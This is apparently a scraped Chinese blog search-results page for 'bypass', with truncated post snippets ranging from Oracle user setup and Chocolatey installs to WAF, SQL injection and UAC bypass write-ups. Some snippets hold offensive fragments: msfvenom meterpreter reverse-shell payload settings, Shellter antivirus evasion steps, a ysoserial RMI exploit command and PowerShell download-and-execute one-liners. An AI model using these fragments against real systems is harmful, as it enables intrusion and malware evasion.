BYPASS

MySQL reset password when forgot

Ifyoudon'trememberthepasswordyousetforrootandneedtoresetit,followthesesteps:Stopthemysqldserver,thisvariesperinstallRuntheserverinsafemodewithprivilegebypasssudomysqld_safe
Zihowe·2020-03-02 06:56

Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分

绕过ASLR--第二部分译者：飞龙原文：BypassingASLR–PartII本文承接@hackyzh翻译的第六篇。
布客飞龙·2020-02-28 20:44

【3】centos7 Mysql配置

配置用户账户本地或者远程访问权限1.登陆*$mysql-uroot2，使用mysqlmysql>usemysql;3.设置为远程访问权限//创建新的用户名和密码mysql>createuserusernameidentifiedbypassword
ahlin_亚翎·2020-02-27 01:59

WeChall MySQL 注射题1

https://www.wechall.net/challenge/training/mysql/auth_bypass1/index.php题目要求是，使用admin的账号登录。
Ryans·2020-02-25 21:05

kali下bypass avast的工具：Shellter

参考：https://www.youtube.com/watch?v=ezvPwG4SK4Q操作：apt-getinstallshellter-ycd/tmp随便下载一个exe安装包或者应用，比如putty之类的,这里选取putty.exeshellterAputty.exeNL1监听者IP监听者端口msfconsoleuseexploit/multi/handlersetpayloadwindo
一点也不想吃辣·2020-02-24 15:22

0CTF blog bypass csp nonce

赛后复现的一个题，用到了很多技巧，复现的过程收获很大，这篇文章从一个新手的角度来分析这道xss题目。网站有几个功能/new:发布新文章/：查看发布的文章/flag:flag,需要得到管理员看到的flag页面/submit:提交链接/article/3869:查看文章链接网站的csp规则为:Content-Security-Policy:script-src'self''unsafe-inline'
江sir·2020-02-22 19:09

关于JDK高版本下RMI、LDAP+JNDI bypass的一点笔记

1.关于RMI只启用RMI服务时，这时候RMI客户端能够去打服务端，有两种情况，第一种就是利用服务端本地的gadget，具体要看服务端pom.xml文件比如yso中yso工具中已经集合了很多gadgetchain本地利用yso的打rmi注册表的模块java-cp.\ysoserial.jarysoserial.exploit.RMIRegistryExploit127.0.0.19999Commo
tr1ple·2020-02-20 12:00

[oracle用户创建及权限设置]

createsessioncreatetableunlimitedtablespaceconnectresourcedba例：#sqlplus/nologSQL>conn/assysdba;SQL>createuserusernameidentifiedbypasswordSQL
Ariel_Tian·2020-02-14 09:00

[WeChall] Training: MySQL I (MySQL, Exploit, Training)

Training:MySQLI(MySQL,Exploit,Training)MySQLAuthenticationBypass-TheclassicThisoneistheclassicmysqlinjectionchallenge.Yourmissioniseasy
Murrey_Xiao·2020-02-09 05:12

Meteor 中文入门指南

SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe"-NoProfile-InputFormatNone-ExecutionPolicyBypass-Com
绍重先·2020-02-09 03:07

火车抢票神器：12306Bypass

又是一年春运时，回家抢票难。今年沛哥从开始放票到今天上午一直没有抢到回家的票，剩余的时间越来越短，内心越来越捉急。即便是各种工具的达人，沛哥手中无票，心理依然发慌呀！沛哥过去一直是智行火车票的忠实粉丝，向很多朋友推荐过。但是回家的事情迫在眉睫春运回来的票抢到了，但是回去的票依然遥遥无期，内心捉急呀！沛哥已经是智行火车票的黑钻会员了，但是手中依然无票，智行到底还行不行？首先说一下结果，沛哥换了工具之
沛文沛语·2020-02-05 01:29

记一次SQL注入Bypass过程

本文为原创文章，转载请注明出处!某日突然对肥宅的生活感到了厌倦，竟连肥宅快乐水喝起来也索然无味，我需要改变！想起胖友几天前发的一个灰色性质网站，正好测试一下打发时间。直入主题，通过访问网站发现需要输入密码，地址栏有传递参数，手工测试加引号报错，初步判断存在SQL注入。链接：http://xxxx.com/login.php?id=1'发现Get传入id参数，直接加引号如上报错，且显示了数据库查询语
合天智汇·2020-02-02 16:42

三大操作系统的node.js、npm、yarn 的安装

包管理工具的安装（注：类似CentOS中的yum管理工具提供环境管理工具）：打开管理员的CMD窗口或者管理员的WindowsPowerShell键入以下命令回车：Set-ExecutionPolicyBypass-ScopeProcess-Force
克昂先森·2020-02-01 23:23

关于RMI+LDAP+JNDI高版本注入bypass的一些总结

只启用RMI服务时，这时候RMI客户端能够去打服务端，有两种情况，第一种就是利用服务端本地的gadget，具体要看服务端pom.xml文件比如yso中yso工具中已经集合了很多gadgetchain，后面需要花时间好好研究研究这个工具来学习java的一些特性本地利用yso的打rmi注册表的模块java-cp.\ysoserial.jarysoserial.exploit.RMIRegistryEx
tr1ple·2020-01-29 12:00

oracle快速创建用户、imp/exp导入导出dmp文件

首先我们可以用管理员用户以sysdba的身份登录oraclesqlplususername/passwordassysdba2.然后我就可以来创建用户了.createuserusernameidentifiedbypassword
小小乐宝·2020-01-20 12:00

Xshell 启动时提示：要继续使用此程序，您必须应用最新的更新或使用新版本

StartupXShell/XftpV5forcedupdatebypass.Placethescriptinthepro
一菜鸟一·2020-01-05 13:00

ReactNative之搭建开发环境(Window-Android)

一般的安装步骤应该是下面这样：@powershell-NoProfile-ExecutionPolicyBypass-Command"iex((new-objectnet.webclient).DownloadString
ThinkerHu·2020-01-05 10:33

安装 Chocolatey

Set-ExecutionPolicyBypass-ScopeProcess-Force;iex((New-ObjectSystem.Net.WebClient).DownloadString(
信使六号·2020-01-05 06:13

webshell bypass（change-3）

前言：今天弄这个遇到几个坑，还是成功复现，还是感觉多做做题还是很有好处的。源码：','?','@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','\\','^','`','a','b','c','d','e','f','g','h','
mzFuzz·2020-01-03 15:20

Powershell get specific lines

可以使用下面的命令：powershell.exe-ExecutionPolicyBypass-FileC:\mypowershell.ps1或者powershell-ep
雪走石·2020-01-02 19:23

如何查看linux是否打开虚拟化

svm-Securevirtualmachine,AMD的虚拟化技术AMD-V-------->vmx-Intel的虚拟化技术Intel-VT然后执行命令：lsmod|grepkvm可以对比以下结果：未开启kvm5546090irqbypass135031kvm
流年的夏天·2020-01-02 15:00

Oracle创建用户(CREATE USER语句)

语法Oracle/PLSQL中CREATEUSER语句的语法为：CREATEUSERuser_nameIDENTIFIED{BYpassword|EXTERNALLY[AS'certificate_DN
易百教程·2019-12-31 12:19

第一章 分布式系统介绍 阅读总结

Adistributedsystemisoneinwhichcomponentslocatedatnetworkedcomputerscommunicateandcoordinatetheiractionsonlybypassingmessages
好好学习Sun·2019-12-31 11:14

网络爬虫Scrapy从入门到进阶

AdvancedWebScraping:Bypassing"403Forbidden,"captchas,andmore——github我尝试过x-ray/cheerio,nokogiri等等爬虫框架，
treelake·2019-12-31 00:13

Read Caffe Program1 : layer_factory.hpp

*Duringruntime,registeredlayerscanbecalledbypassingaLayerParameter*protobuffertotheCreateLayerfun
JohnHush·2019-12-30 04:33

win系统安装Arcanist配合Phabricator来进行代码审核

开发流程：接到任务-->coding-->gitcommit-->提交审核(arcdiff)-->审核通过后提交代码(arcland)注：如果无需审核可以再commitmsg写上@bypass-review
trry_ing·2019-12-29 09:33

Command injection - Filter bypass

Findavulnerabilityinthisserviceandexploitit.Someprotectionswereadded.Theflagisontheindex.phpfile.找到此服务中的漏洞并加以利用。增加了一些保护措施。该标志位于index.php文件中。两种结果：pingok常用连接符：&前面无论真假，都会执行后面&&前面为假，则不会执行后面语句|无论真假都不会执行前面语
给朕来个三分，超远的·2019-12-28 12:00

Oracle用户与权限

语法CREATEUSERuser_nameIDENTIFIEDBYpassword[ACCOUNTLOCK|UNLOCK]lock:给用户上锁;unlock：解锁用户。
天下无敌强·2019-12-27 17:49

oracle基础知识

sysman(操作企业管理器)密码是安装的时候输入的密码3.scott（默认是tiger)oracle中用户，权限，角色用户：创建/修改/删除用户创建用户：CREATEUSERnameIDENTIFIEDBYpassword
3hours·2019-12-27 14:53

Webshell如何bypass安全狗，D盾

上次很多师傅问我要的web漏扫的github地址抱歉还不能给你们，（毕设没答辩完，而且还没写完Orz）Webshell这里，我主要是写phpwebshell的bypass（主要是其他的没研究过），安全狗的版本是在官网下载的
合天智汇·2019-12-27 07:52

linux如何确认服务器的VT功能是否打开？

看2个代码块lsmod|grepkvm未开启kvm5546090irqbypass13
鸟它鸟·2019-12-26 01:48

CAP理论

DistributedSystemsDistributedsystemisasoftwaresysteminwhichcomponentslocatedonnetworkedcomputerscommunicateandcoordinatetheiractionsbypassingmessages.ScalabilityScalabilityistheabilityofasystem
秦汉邮侠·2019-12-25 02:32

记一次文件上传 Bypass WAF实战

本文为原创文章，转载请注明出处！前言10月初秋某周末，夜微凉，一鼠标，一键盘，一杯枸杞茶还散发着余温。时间是凌晨1点06分，在一顿乱搜索加乱拼凑的情况下，意外绕过了某盾云WAF加360网站卫士防护的网站，我觉得应该记录下这个有趣的故事。PS：目标站是SRC平台上的一个小站，截至投稿前，已将漏洞提交并验证已经修复，各位表哥就不用费心去找有没有打码漏点的图暴露了目标站点，再去做测试啥的了。信息收集域名
合天智汇·2019-12-24 04:07

关于Windows忘记密码

今天发现还有个牛Ｂ的方式，Utilmanbypass，如果能物理接触，通杀所有Windows。这方式和98/me输入法漏洞有些类似。
clive0x·2019-12-22 10:26

陶瓷电容器的用途有哪几种？

隔直流显现的作用就是是阻止直流通过而让交流通过而陶瓷电容器有以下具体的几种用途一、旁路（去耦）这是为交流电路中某些并联的元件提供低阻抗的通路在电子电路中，去耦电容和旁路电容都是起到抗干扰的作用，电容器所处的位置不同，称呼就不一样对于同一个电路来说，旁路（bypass
金利油性脱模剂·2019-12-20 13:26

原来这些道理他们早就懂

图片发自AppLove,life,thesetwoaresurelythethingseverysinglehumanbeingcannotexpecttobypasslightly.Theyareessentialtoeveryhumanbeing.Loveandlifearelikeleavesonthetreeandgrassontheweirs.Leavesandgrasshavethei
摆渡人送你一颗子弹·2019-12-19 15:34

waf学习

//drops.xmd5.com/static/drops/tips-7883.htmlwaf种类云waf传统安全厂商的硬件waf以及一直存在ips,ids设备主机防护软件软wafWebServer层bypassweb
涟漪消散·2019-12-17 16:00

webpack-CommonChunkPlugin

Compilation对象{name:string,//ornames:string[],//Thechunknameofthecommonschunk.Anexistingchunkcanbeselectedbypassinganameofanexistingchun
Dabao123·2019-12-14 01:52

SPDK (part 4, arch stuff, TBD)

之前先记录理解几个基本概念：RDMA（RemoteDirectMemoryAcess）：两个关键词hostoffload，hostbypass的，是一种应用内存互访技术，下图是当前支持RDMA的网络协议或者说是载体
拖鞋花短裤·2019-12-07 19:02

Windows10 bypassuac 提权

一、远控a)X86msfvnom–ppayload/windows/meterpreter/reverse_tcp#32位msfvnom–ppayload/windows/x64/meterpreter/reverse_tcp#64位i.LHOST=192.168.135.129#指定反弹shell地址ii.LPORT=4444#指定反弹shell端口iii.–fexe#生成文件类型iv.–o/r
M_Yahweh·2019-12-07 10:46

Ethical Hacking - NETWORK PENETRATION TESTING(17)

MITM-bypassingHTTPSMostwebsitesusehttpsintheirloginpages,thismeansthatthesepagesarevalidatedusinganSSLcertificateandthereforwillshowawarningtotheuserthatthecertificateisinvalid.SSLstripisatoolthatcanb
晨风_Eric·2019-12-03 22:00

无powershell运行powershell方法总结

所以我们在与AV的对抗中也会想法设法的去bypass来执行PS，这里我便总结了几种无powershell执行powershell的
合天智汇·2019-11-29 22:51

一个人的公众号，我写了1w+

大家好，我是Bypass，一个人一直保持着写博客的习惯，为此维护了一个技术公众号，致力于分享原创高质量干货，写的内容主要围绕：渗透测试、WAF绕过、代码审计、应急响应、企业安全。
Bypass·2019-11-16 20:00

导入导出总结备忘录

导出1，创建导出用户并赋予权限createuserusernameidentifiedbypassword;//resource和connect权限，就能导出本用户下的数据，如果有exp_full_database
暴走的馒头·2019-11-14 13:00

oracle常用用户权限

一、用户权限控制1.创建用户createuseruser_nameidentifiedbypassword例如:createuserzhangsanidentifiedbyzhangsan;2.删除用户
Night和Drink·2019-11-13 09:44

文件上传基础

类型绕过服务器检测对于黑名单遍历后缀名改变大小写尝试后缀首尾加空格很严格的黑名单：上传.htaccess利用特殊文件名特性对于净化双写绕过（.pphphp）对于文件类型检测幻数绕过内容绕过攻击解析器条件竞争漏洞WebServer解析漏洞CMS、编辑器漏洞配合文件包含漏洞常规bypass
Arklight·2019-11-13 02:07

Windows包管理工具Chocolatey的安装使用

SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe"-NoProfile-InputFormatNone-ExecutionPolicyBypass-Command"iex
哎哟我去·2019-11-08 15:57

每日安全资讯（2018.3.01）

SSO统一身份认证SAML安全绕过漏洞关联5个供应商6个CVEhttp://toutiao.secjia.com/saml-bypassCoinbase将把用户信息交给美国国税局https://www.solidot.org
溪边的墓志铭·2019-11-08 11:44

DAY 4 AESOP'S FABLES

Aliarwillnotbebelievedevenwhentellingthetruth.TheboywhowentswimmingSo...thatIndangerofdrowning有...危险WalkbypassbyIn
横冲直撞的笨婷·2019-11-07 19:37

windows上OpenSSH服务安装及启动

zip2，解压到C:\ProgramFiles\OpenSSH，建议是放在此目录下3，cmd到openSSH路径下依次执行1）安装sshd服务powershell.exe-ExecutionPolicyBypass-Fileinstall-sshd.ps12
听雨的人·2019-11-07 10:00
上一页 20 21 22 23 24 25 26 27 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他